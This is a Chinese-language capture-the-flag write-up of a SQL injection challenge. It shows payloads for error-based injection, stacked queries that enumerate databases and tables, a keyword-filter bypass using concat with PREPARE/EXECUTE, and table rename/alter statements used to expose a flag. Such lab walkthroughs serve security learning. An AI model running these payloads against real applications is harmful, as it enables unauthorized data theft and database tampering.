步骤
先输入1'")
提交之后发现报错:
根据报错信息我们可以发现是用单引号'
来进行闭合的
接着使用1' --+
发现被过滤:
然后使用注释1' #
发现可以使用:
使用order by
语句发现有两个字段,接下来再用联合查询1' and select 1,2 #
发现被过滤了:
而且绕不过去,既然这样我们尝试一下报错注入:
payload:1' and extractvalue(1,concat('^',database(),'^'))#
成功拿到库名,但是拿到之后也没有其他方法继续拿数据,这里我们试一下堆叠注入是否可行:
payload:1';show databases;#
发现堆叠注入成功,爆出数据库名,那这就好办了
payload:1';use supersqli;show tables;#
成功得到表名,可以分别看一下两张表里都有什么:
payload:1';use supersqli;show columns from `1919810931114514`;#
payload:1';use supersqli;show columns from `words`;#
在表1919810931114514中发现flag,成功发现目标这时候就得考虑怎么拿到它,由于select函数被禁用,我们这时候只能想其他方法了
两种方法:
第一,使用concat函数进行SQL语句的拼接绕过关键字的检测,使用SET函数进行变量的赋值,使用PRERARE函数进行SQL语句的创建,EXECUTE函数执行SQL语句
payload:1';use supersqli;SET @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE sql1 from @sql;EXECUTE sql1;#
成功拿到flag~
第二,发现以上禁用的关键字里没有禁用rename以及alter,而且根据两张表里返回的数据可以发现words表里有两个字段:一个数字一个字符串,而默认查找返回的数据也是返回一个数据一个字符串。
很明显,能跟words表对应上,所以可以推断出默认查询的表也就是sql语句的编写中表是words表,输入的内容会带入id字段中进行查找
既然这样,我们可以改变表的结构,使用rename将表1919810931114514的名字命名为words,将他的字段flag命名为id,这样就默认查的是我们想要查询的表了
payload:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
之后再使用1' or 1=1#
另条件为真,即可得到flag~
总结
我们要打开思路,善于使用不同的方法来进行sql注入